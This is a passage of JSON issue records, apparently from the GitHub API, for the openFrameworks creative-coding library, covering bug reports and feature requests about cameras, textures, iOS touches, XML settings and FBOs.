ofMesh","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/addon","name":"addon","color":"d68e22"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"}],"closed_at":null,"created_at":"2011-10-19T22:39:37Z","state":"open","user":{"url":"https://api.github.com/users/kpasko","gravatar_id":"b3685ad8a761582e5f1c3e151f9f854f","login":"kpasko","avatar_url":"https://secure.gravatar.com/avatar/b3685ad8a761582e5f1c3e151f9f854f?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":167271},"id":1999520,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2011-11-04T21:59:22Z","body":"would be quite useful","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/786","comments":1,"milestone":null,"number":786,"html_url":"https://github.com/openframeworks/openFrameworks/issues/786","assignee":null,"title":"axis aligned bounding box tree for ofMesh","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"}],"closed_at":null,"created_at":"2011-10-19T22:38:35Z","state":"open","user":{"url":"https://api.github.com/users/kpasko","gravatar_id":"b3685ad8a761582e5f1c3e151f9f854f","login":"kpasko","avatar_url":"https://secure.gravatar.com/avatar/b3685ad8a761582e5f1c3e151f9f854f?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":167271},"id":1999513,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2011-12-27T17:58:58Z","body":"I am loading in boujou camera data (translation and euler rotation), and I get really fine results when I do: \r\n\r\nglTranslatef(tx,ty,tz);\r\nglRotatef(rx, 1,0,0);\r\nglRotatef(ry, 0,1,0);\r\nglRotatef(rz, 0,0,1);\r\n\r\nbut when I create an ofCamera, and do: \r\n\r\nsetPosition(ofPoint(tx, ty, tz));\r\nsetOrientation(ofPoint(rx, ry, rz));\r\n\r\nI get strange results. I am wondering about ofNodes \"setOrientation\" and if it's really right in that the order is switched:\r\n\r\nsetOrientation(ofQuaternion(eulerAngles.y, ofVec3f(0, 1, 0), eulerAngles.x, ofVec3f(1, 0, 0), eulerAngles.z, ofVec3f(0, 0, 1)));\r\n\r\nalso, maybe I am mis interpreting what \"set orientation\" does. But I can't seem to get similar results with ofCam, even if I do, for example, \r\n\r\ncam.setPosition( tx,ty,tz);\r\ncam.rotate( rx, 1,0,0);\r\ncam.rotate( ry, 0,1,0);\r\ncam.rotate( rz, 0,0,1);\r\n\r\nI still don't get the same results as when I do it via opengl. This seems like a bug maybe with how ofNode handles rotation?\r\n\r\n(note , I am calling resetTranform() on the camera, so it's not an accumulation of rotations.... it's just that I can't seem to find a way to get ofCam to rotate in the same way as opengl commands). \r\n","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/785","comments":2,"milestone":null,"number":785,"html_url":"https://github.com/openframeworks/openFrameworks/issues/785","assignee":null,"title":"ofCamera setOrientation gives odd results","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"}],"closed_at":null,"created_at":"2011-10-19T11:16:42Z","state":"open","user":{"url":"https://api.github.com/users/ofZach","gravatar_id":"04ffd573ed878bc5b8c818c3aeaa2d71","login":"ofZach","avatar_url":"https://secure.gravatar.com/avatar/04ffd573ed878bc5b8c818c3aeaa2d71?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":142897},"id":1992818,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-03-09T11:46:35Z","body":"It seems to be happening pretty far in, if you put debug statements in touchesMoved in EAGL view, you will see that y is set to the x value of the touch.\r\n\r\nThis does not occur in debug mode, or in the simulator, and it has to be done with xcode4. I am running the newest ios5 beta as well.","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/778","comments":2,"milestone":null,"number":778,"html_url":"https://github.com/openframeworks/openFrameworks/issues/778","assignee":{"url":"https://api.github.com/users/julapy","gravatar_id":"8dca8d8de1b5950c895fb72e0527c6f0","login":"julapy","avatar_url":"https://secure.gravatar.com/avatar/8dca8d8de1b5950c895fb72e0527c6f0?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":331382},"title":"running an iphone retina app in release mode causes touch.x == touch.y","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/iOS","name":"iOS","color":"2babad"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"}],"closed_at":null,"created_at":"2011-10-18T11:26:26Z","state":"open","user":{"url":"https://api.github.com/users/jonbro","gravatar_id":"893ec14dc008e3774afe5841115920d6","login":"jonbro","avatar_url":"https://secure.gravatar.com/avatar/893ec14dc008e3774afe5841115920d6?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":1597},"id":1938472,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2011-10-16T18:30:08Z","body":"\r\nat the moment, the ofCamera draw calls ofNode, which does't really give you a clear indication of which way the camera is looking. even that is weird, because a camera looks on -z, and the node draw draws a line on positive z. \r\n\r\nI suggest we add something that draws a bit of a frustum (ie, fov, etc) and gives you a feeling about orientation. \r\n\r\n","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/774","comments":0,"milestone":null,"number":774,"html_url":"https://github.com/openframeworks/openFrameworks/issues/774","assignee":null,"title":"ofCamera draw() should be more indicative of where the camera is facing. ","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"}],"closed_at":null,"created_at":"2011-10-16T18:30:08Z","state":"open","user":{"url":"https://api.github.com/users/ofZach","gravatar_id":"04ffd573ed878bc5b8c818c3aeaa2d71","login":"ofZach","avatar_url":"https://secure.gravatar.com/avatar/04ffd573ed878bc5b8c818c3aeaa2d71?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":142897},"id":1922704,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2011-10-12T15:09:29Z","body":"Currently we have:\r\n\tvirtual void draw(float x,float y)=0;\r\n\tvirtual void draw(float x,float y,float w, float h)=0;\r\n\r\n\tvirtual float getHeight()=0;\r\n\tvirtual float getWidth()=0;\r\n\r\nSince we're insisting that the user define a getWidth and getHeight, can I ask why we don't set the default of draw(x,y) to be\r\n virtual void draw(float x,float y) {draw(x, y, getWidth(), getHeight()) };\r\n","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/772","comments":0,"milestone":null,"number":772,"html_url":"https://github.com/openframeworks/openFrameworks/issues/772","assignee":null,"title":"ofBaseDraws draw(x, y) default","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/development-strategy","name":"development-strategy","color":"37c200"}],"closed_at":null,"created_at":"2011-10-12T15:08:55Z","state":"open","user":{"url":"https://api.github.com/users/elliotwoods","gravatar_id":"bea30676dca310e7f38269f245214944","login":"elliotwoods","avatar_url":"https://secure.gravatar.com/avatar/bea30676dca310e7f38269f245214944?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":328294},"id":1888302,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-03-14T15:11:08Z","body":"Greetings,\r\n\r\nI downloaded OF v.007 on my laptop running Vista SP2. I compiled and ran some of the example apps like imageLoader example using VS2010. \r\n\r\nTextures seem to be broken. Images appear as white slabs.\r\n\r\nI tracked it down and found that disabling ArbTex, with ofDisableArbTex(), will get the textures working again. \r\n\r\nUsing ArbTex worked fine in OF v0.62 on the same machine.\r\n\r\nLaptop:\r\nHP Pavilion dv600 Notebook PC\r\nManufacturer: Hewlett-Packard\r\nOperating System: Windows Vista Home Premium, Service Pack 2 (6.0.6002)\r\nPhysical Memory:\t 2037 MB\r\nProcessor: Intel Core2 Duo PU T5250 @ 1.5 GHz, 1.5 GHz\r\n\r\nCompiler:\r\nMicrosoft Visual Studio 2010\r\nInstalled Version: Professional\r\nMicrosoft Visual C++ 2010\r\n\r\nGraphics:\r\nGraphics: Intel Graphics Media Accelerator Driver for Mobile\r\nGraphics: Driver Version: 7.14.10.1244\r\nDirectX Version:\t10.0\r\nOpenGL Version 1.5\r\n\r\nHere's a full report of OpenGL info from GLview:\r\n\r\n\r\nRenderer: Intel 965/963 Graphics Media Accelerator\r\nVendor: Intel\r\nMemory: 448 MB\r\nVersion: 1.5.0 - Build 7.14.10.1244\r\nShading language version: N/A\r\n\r\n\r\nMax texture size: 2048 x 2048\r\nMax texture coordinates: 8\r\nMax vertex texture image units: 0\r\nMax texture image units: 16\r\nMax geometry texture units: 0\r\nMax anisotropic filtering value: 2\r\nMax number of light sources: 16\r\nMax viewport size: 2048 x 2048\r\nMax uniform vertex components: 0\r\nMax uniform fragment components: 0\r\nMax geometry uniform components: 0\r\nMax varying floats: 0\r\nMax samples: 0\r\nMax draw buffers: 0\r\n\r\n\r\nExtensions: 56\r\n\r\nGL_3DFX_texture_compression_FXT1\r\nGL_ARB_depth_texture\r\nGL_ARB_fragment_program\r\nGL_ARB_multitexture\r\nGL_ARB_occlusion_query\r\nGL_ARB_point_parameters\r\nGL_ARB_shadow\r\nGL_ARB_texture_border_clamp\r\nGL_ARB_texture_compression\r\nGL_ARB_texture_cube_map\r\nGL_ARB_texture_env_add\r\nGL_ARB_texture_env_combine\r\nGL_ARB_texture_env_crossbar\r\nGL_ARB_texture_env_dot3\r\nGL_ARB_transpose_matrix\r\nGL_ARB_vertex_buffer_object\r\nGL_ARB_vertex_program\r\nGL_ARB_window_pos\r\nGL_EXT_abgr\r\nGL_EXT_bgra\r\nGL_EXT_blend_color\r\nGL_EXT_blend_func_separate\r\nGL_EXT_blend_minmax\r\nGL_EXT_blend_subtract\r\nGL_EXT_clip_volume_hint\r\nGL_EXT_compiled_vertex_array\r\nGL_EXT_draw_range_elements\r\nGL_EXT_fog_coord\r\nGL_EXT_multi_draw_arrays\r\nGL_EXT_packed_pixels\r\nGL_EXT_rescale_normal\r\nGL_EXT_secondary_color\r\nGL_EXT_separate_specular_color\r\nGL_EXT_shadow_funcs\r\nGL_EXT_stencil_two_side\r\nGL_EXT_stencil_wrap\r\nGL_EXT_texture3D\r\nGL_EXT_texture_compression_s3tc\r\nGL_EXT_texture_env_add\r\nGL_EXT_texture_env_combine\r\nGL_EXT_texture_filter_anisotropic\r\nGL_EXT_texture_lod_bias\r\nGL_IBM_texture_mirrored_repeat\r\nGL_NV_blend_square\r\nGL_NV_texgen_reflection\r\nGL_SGIS_generate_mipmap\r\nGL_SGIS_texture_edge_clamp\r\nGL_SGIS_texture_lod\r\nGL_WIN_swap_hint\r\nWGL_ARB_buffer_region\r\nWGL_ARB_extensions_string\r\nWGL_ARB_make_current_read\r\nWGL_ARB_pbuffer\r\nWGL_ARB_pixel_format\r\nWGL_EXT_extensions_string\r\nWGL_EXT_swap_control\r\n\r\nCore features\r\nv1.1 (100 % - 7/7)\r\nv1.2 (100 % - 8/8)\r\nv1.3 (100 % - 9/9)\r\nv1.4 (100 % - 15/15)\r\nv1.5 (100 % - 3/3)\r\nv2.0 (10 % - 1/10)\r\nv2.1 (0 % - 0/3)\r\nv3.0 (0 % - 0/23)\r\nv3.1 (0 % - 0/8)\r\nv3.2 (0 % - 0/10)\r\nv3.3 (0 % - 0/10)\r\nv4.0 (0 % - 0/14)\r\nv4.1 (0 % - 0/7)\r\nv4.2 (0 % - 0/12)\r\n\r\nOpenGL driver version check (Current: 1.5.0 - Build 7.14.10.1244, Latest known: ):\r\nLatest version of display drivers found\r\nAccording the database, you are running the latest display drivers for your video card.\r\n\r\nNo ICD registry entry\r\nThe current OpenGL driver doesn't expose the SOFTWARE/Microsoft/Windows (NT)/CurrentVersion/OpenGLDrivers registry entry. Unable to detect the driver version, driver revision name and filename.\r\n\r\nCompiled vertex array support\r\nThis feature improves OpenGL performance by using video memory to cache transformed vertices.\r\n\r\nMultitexture support\r\nThis feature accelerates complex rendering such as lightmaps or environment mapping.\r\n\r\nSecondary color support\r\nThis feature provides an alternate method of coloring specular highlights on polygons.\r\n\r\nS3TC compression support\r\nThis feature improves texture mapping performance in some applications by using lossy compression.\r\n\r\nTexture edge clamp support\r\nThis feature improves texturing quality by adding clamping control to edge texel filtering.\r\n\r\nVertex program support\r\nThis feature enables a wide variety of effects via flexible vertex programming (equivalent to DX8 Vertex Shader.)\r\n\r\nFragment program support\r\nThis feature enables a wide variety of effects via per pixel programming (equivalent to DX9 Pixel Shader.)\r\n\r\nTexture anisotropic filtering support\r\nThis feature improves the quality of texture mapping on oblique surfaces.\r\n\r\nOcclusion test support\r\nThis feature provides hardware accelerated culling for objects.\r\n\r\nNo OpenGL Shading Language support\r\nThis may break compatibility for applications using per pixel shading.\r\n\r\nNo Frame buffer object support\r\nThis may break compatibility for applications using render to texture functions.\r\n\r\nDisabling ArbTex will work for me, but I thought others might have the same problem with 007.\r\n\r\n- Rob","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/771","comments":3,"milestone":{"creator":{"url":"https://api.github.com/users/bilderbuchi","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","login":"bilderbuchi","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":327442},"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/5","closed_issues":21,"number":5,"title":"0072 Release","due_on":"2012-06-25T07:00:00Z","open_issues":81,"created_at":"2011-12-02T15:29:48Z","state":"open","description":"","id":61810},"number":771,"html_url":"https://github.com/openframeworks/openFrameworks/issues/771","assignee":null,"title":"Textures Didn't Work in 007 on my Laptop, Had to Disable ArbTex","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/windows","name":"windows","color":"244569"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/section-3D","name":"section-3D","color":"DDDDDD"}],"closed_at":null,"created_at":"2011-10-11T13:02:28Z","state":"open","user":{"url":"https://api.github.com/users/robgonsalves","gravatar_id":"7c2e18ac17a0b907dbac36aaa6a9ec0f","login":"robgonsalves","avatar_url":"https://secure.gravatar.com/avatar/7c2e18ac17a0b907dbac36aaa6a9ec0f?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":1119357},"id":1874373,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2011-10-24T15:27:29Z","body":"When integrating openFrameworks into existing build systems, it would make things easier if this common include convention was followed.\r\n\r\ni.e. to include openFrameworks headers in my own build, because all the includes look like:\r\n\r\n#include \"ofMesh.h\"\r\n#include \"ofAppGlutWindow.h\"\r\n#include \"ofSerial.h\"\r\n\r\nI have to add all these paths to my include paths:\r\n\r\n\r\n ../Libraries/of_preRelease_v007_linux64/libs/openFrameworks\r\n ../Libraries/of_preRelease_v007_linux64/libs/openFrameworks/app\r\n ../Libraries/of_preRelease_v007_linux64/libs/openFrameworks/3d\r\n ../Libraries/of_preRelease_v007_linux64/libs/openFrameworks/communication\r\n ../Libraries/of_preRelease_v007_linux64/libs/openFrameworks/gl\r\n ../Libraries/of_preRelease_v007_linux64/libs/openFrameworks/graphics\r\n ../Libraries/of_preRelease_v007_linux64/libs/openFrameworks/utils\r\n ../Libraries/of_preRelease_v007_linux64/libs/openFrameworks/types\r\n ../Libraries/of_preRelease_v007_linux64/libs/openFrameworks/math\r\n ../Libraries/of_preRelease_v007_linux64/libs/openFrameworks/events\r\n\r\n\r\n\r\nIt is common to instead structure files like (in the case of openFrameworks):\r\n\r\noF/include/oF\r\noF/include/oF/app\r\noF/include/oF/3d\r\noF/include/oF/communication\r\noF/include/oF/gl\r\noF/include/oF/graphics\r\n...etc...\r\n\r\nand just write:\r\n\r\n#include \r\n#include \r\n\r\netc.\r\n\r\nI'm not sure if there is an argument to leave it like it is because it's easier for oF's demographic? But I would say teaching the some_lib/include/some_lib/ convention would help people use more C++.","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/767","comments":2,"milestone":null,"number":767,"html_url":"https://github.com/openframeworks/openFrameworks/issues/767","assignee":null,"title":"#include instead of #include ","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/development-strategy","name":"development-strategy","color":"37c200"}],"closed_at":null,"created_at":"2011-10-09T03:58:30Z","state":"open","user":{"url":"https://api.github.com/users/gimlids","gravatar_id":"cc4cace34c61103f0624002a692820f7","login":"gimlids","avatar_url":"https://secure.gravatar.com/avatar/cc4cace34c61103f0624002a692820f7?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":186277},"id":1854874,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2011-10-12T13:12:02Z","body":"\r\nat the moment, ofNode has a draw function that has awkwardly hard coded sizes: \r\n\r\nvirtual void customDraw() {\r\n\t\tofBox(10);\r\n\t\tofDrawAxis(20);\r\n\t}\r\n\r\nI'd like a draw(size) option. obviously I can extend ofNode and create my own functions, but if I just draw a node, I might want to adjust the size internally, as the \"10\" and \"20\" might not make any sense based on where I am drawing, for example here: \r\n\r\nhttp://imgur.com/idWPp\r\n\r\nlooks quite weird, but at 1/10th the size would look ok. \r\n\r\nas most other OF objects have draw(size) options, I think ofNodeShould have this too. ","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/766","comments":4,"milestone":null,"number":766,"html_url":"https://github.com/openframeworks/openFrameworks/issues/766","assignee":null,"title":"ofNode should have a draw(float size) option","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"}],"closed_at":null,"created_at":"2011-10-08T09:38:46Z","state":"open","user":{"url":"https://api.github.com/users/ofZach","gravatar_id":"04ffd573ed878bc5b8c818c3aeaa2d71","login":"ofZach","avatar_url":"https://secure.gravatar.com/avatar/04ffd573ed878bc5b8c818c3aeaa2d71?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":142897},"id":1851779,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2011-12-03T23:51:04Z","body":"edit: originally this issue was about adding glu functions. now i realize any remaining ones need to be removed. but it's still relevant to have an ofScreenToWorld and ofWorldToScreen. \r\n\r\nthis would be really awesome. there is already some code in ofDrawBitmapString that's using gluProject, it would be good to clean it up.\r\n\r\nthe main issue is that glu is not on iOS, so we'd need to find/write our own implementation.\r\n\r\nhere's a first pass:\r\n\r\n\tGLdouble modelviewMatrix[16], projectionMatrix[16];\r\n\tGLint viewport[4];\r\n\tvoid updateProjectionState() {\r\n\t\tglGetDoublev(GL_MODELVIEW_MATRIX, modelviewMatrix);\r\n\t\tglGetDoublev(GL_PROJECTION_MATRIX, projectionMatrix);\r\n\t\tglGetIntegerv(GL_VIEWPORT, viewport);\r\n\t}\r\n\r\n\tofVec3f ofWorldToScreen(ofVec3f world) {\r\n\t\tupdateProjectionState();\r\n\t\tGLdouble x, y, z;\r\n\t\tgluProject(world.x, world.y, world.z, modelviewMatrix, projectionMatrix, viewport, &x, &y, &z);\r\n\t\tofVec3f screen(x, y, z);\r\n\t\tscreen.y = ofGetHeight() - screen.y;\r\n\t\treturn screen;\r\n\t}\r\n\r\n\tofVec3f ofScreenToWorld(ofVec3f screen) {\r\n\t\tupdateProjectionState();\r\n\t\tGLdouble x, y, z;\r\n\t\tscreen.y = ofGetHeight() - screen.y;\r\n\t\tgluUnProject(screen.x, screen.y, screen.z, modelviewMatrix, projectionMatrix, viewport, &x, &y, &z);\r\n\t\tofVec3f world(x, y, z);\r\n\t\treturn world;\r\n\t}","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/765","comments":4,"milestone":null,"number":765,"html_url":"https://github.com/openframeworks/openFrameworks/issues/765","assignee":null,"title":"remove gluProject and gluUnProject, add screenToWorld, worldToScreen","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"}],"closed_at":null,"created_at":"2011-10-07T09:46:06Z","state":"open","user":{"url":"https://api.github.com/users/kylemcdonald","gravatar_id":"e5d92e48e175112e9df112e2418bd528","login":"kylemcdonald","avatar_url":"https://secure.gravatar.com/avatar/e5d92e48e175112e9df112e2418bd528?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":157106},"id":1841802,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-03-10T06:02:37Z","body":"I made an app using the preRelease version 007, I have a gui view with a bunch of buttons and sliders this view is 1/3 of the screen size and sits at the bottom, it is an Universal app that allows any orientation on the iPad and supports Portrait only for the iPhone / iPod Touch, here is my problem I need to allow touches to pass through the gui view for this I use **[ofxiPhoneGetGLView() addSubview:guiViewController.view];** the problem this method is that the gui view does not call the **willAnimateRotationToInterfaceOrientation()** at launch, and I get the following message in the console\r\n_**Action connections from <UIView: 0x5b88d0; frame = (20 0; 280 320); autoresize = LM+RM+H; layer = <CALayer: 0x5b7d30>> are not supported.**_\r\n\r\n if I use **[ofxiPhoneGetUIWindow() addSubview:guiViewController.view];** the **willAnimateRotationToInterfaceOrientation()** method works at launch as expected and the gui view adjust itself to the correct position and size\r\n\r\nAny help will be much appreciated","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/764","comments":1,"milestone":null,"number":764,"html_url":"https://github.com/openframeworks/openFrameworks/issues/764","assignee":{"url":"https://api.github.com/users/julapy","gravatar_id":"8dca8d8de1b5950c895fb72e0527c6f0","login":"julapy","avatar_url":"https://secure.gravatar.com/avatar/8dca8d8de1b5950c895fb72e0527c6f0?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":331382},"title":"Autoresize problem in iOS","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/iOS","name":"iOS","color":"2babad"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"}],"closed_at":null,"created_at":"2011-10-05T20:35:04Z","state":"open","user":{"url":"https://api.github.com/users/nardove","gravatar_id":"8022cb5f529975afbc64cc9312008d8c","login":"nardove","avatar_url":"https://secure.gravatar.com/avatar/8022cb5f529975afbc64cc9312008d8c?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":277690},"id":1827792,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2011-09-28T01:00:34Z","body":"ofxXmlXettings uses TinyXML which gives you lots of useful error info like what line the error is on as well as what it has trouble reading. This is super awesome and useful to people like me who always mistype xml here and there.\r\n\r\nCurrently ofxXmlSettings::loadFile only returns a bool and you're left to figure out if it's a path issue, bad xml formatting, etc. At the least, we should be able to grab an error string.\r\n\r\nHere's how to do it:\r\n
\r\nstd::string Xml::getErrorString(const TiXmlDocument* xmlDoc)\r\n{\r\n    if(xmlDoc == NULL)\r\n        return \"\";\r\n\r\n    std::stringstream error;\r\n    error << \"line \" <<  xmlDoc->ErrorRow() << \", \" << (std::string) xmlDoc->ErrorDesc();\r\n    return error.str();\r\n}\r\n
","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/760","comments":1,"milestone":null,"number":760,"html_url":"https://github.com/openframeworks/openFrameworks/issues/760","assignee":null,"title":"ofxXmlSettings does not print any useful error messages","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/addon","name":"addon","color":"d68e22"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/fix-proposed","name":"fix-proposed","color":"31e03a"}],"closed_at":null,"created_at":"2011-09-28T00:53:09Z","state":"open","user":{"url":"https://api.github.com/users/danomatika","gravatar_id":"5fa1d3aa502b308b8a3ae814fb88ac04","login":"danomatika","avatar_url":"https://secure.gravatar.com/avatar/5fa1d3aa502b308b8a3ae814fb88ac04?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":480637},"id":1758237,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-02-27T03:48:47Z","body":"This would be the best thing ever. \r\n\r\nstring ipAddr = ofxXmlSettings::readValueFromFile(\"data.xml\", \"ip\", \"127.0.0.1\"); \r\n\r\nofxXmlSettings::saveValueToFile(\"data.xml\", \"ip\", ipAddr); ","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/758","comments":0,"milestone":{"creator":{"url":"https://api.github.com/users/bilderbuchi","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","login":"bilderbuchi","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":327442},"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/5","closed_issues":21,"number":5,"title":"0072 Release","due_on":"2012-06-25T07:00:00Z","open_issues":81,"created_at":"2011-12-02T15:29:48Z","state":"open","description":"","id":61810},"number":758,"html_url":"https://github.com/openframeworks/openFrameworks/issues/758","assignee":null,"title":"non ofxXmlSettings object read and write value","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/addon","name":"addon","color":"d68e22"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/codeblocks+","name":"codeblocks ","color":"cb6efa"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/iOS","name":"iOS","color":"2babad"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"}],"closed_at":null,"created_at":"2011-09-26T11:54:06Z","state":"open","user":{"url":"https://api.github.com/users/ofTheo","gravatar_id":"3b0860ec0180f7fb7ac4d2cd9252ec3f","login":"ofTheo","avatar_url":"https://secure.gravatar.com/avatar/3b0860ec0180f7fb7ac4d2cd9252ec3f?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":144000},"id":1738864,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2011-09-25T13:22:59Z","body":"in my opinion, it would make sense for ofPixels::allocate to initialize the new memory to 0. even for large images, i don't think this is such an expensive operation.\r\n\r\ni discovered that it is not initialized to 0 when i had a really weird bug -- some code that gave me different results depending on whether i loaded another image before allocating or not. i was expecting OF to act like opencv, which also sets new memory to 0. this would be in line with ofVec*, ofColor, and a few other things, which are all allocated to 0.","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/757","comments":0,"milestone":null,"number":757,"html_url":"https://github.com/openframeworks/openFrameworks/issues/757","assignee":null,"title":"ofPixels::allocate should init new memory","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/development-strategy","name":"development-strategy","color":"37c200"}],"closed_at":null,"created_at":"2011-09-25T13:22:59Z","state":"open","user":{"url":"https://api.github.com/users/kylemcdonald","gravatar_id":"e5d92e48e175112e9df112e2418bd528","login":"kylemcdonald","avatar_url":"https://secure.gravatar.com/avatar/e5d92e48e175112e9df112e2418bd528?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":157106},"id":1733504,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2011-09-22T08:20:27Z","body":"void ofFbo::end() {\r\n\tunbind();\r\n\tif(ofGetGLRenderer()){\r\n\t\tofGetGLRenderer()->setCurrentFBO(NULL);\r\n\t}\r\n\tofPopView();\r\n}\r\n\r\nthis will go wrong if nested fbo as following\r\n\r\nfbo1.begin();\r\n...\r\n fbo2.begin();\r\n ...\r\n fbo2.end();\r\n...\r\nfbo1.end();\r\n\r\nso probably the current fbo must not be set NULL\r\n\r\nerror show's in\r\nvoid ofGLRenderer::viewport(float x, float y, float width, float height, bool invertY) {\r\n\tif(width == 0) width = ofGetWindowWidth();\r\n\tif(height == 0) height = ofGetWindowHeight();\r\n\r\n\tif 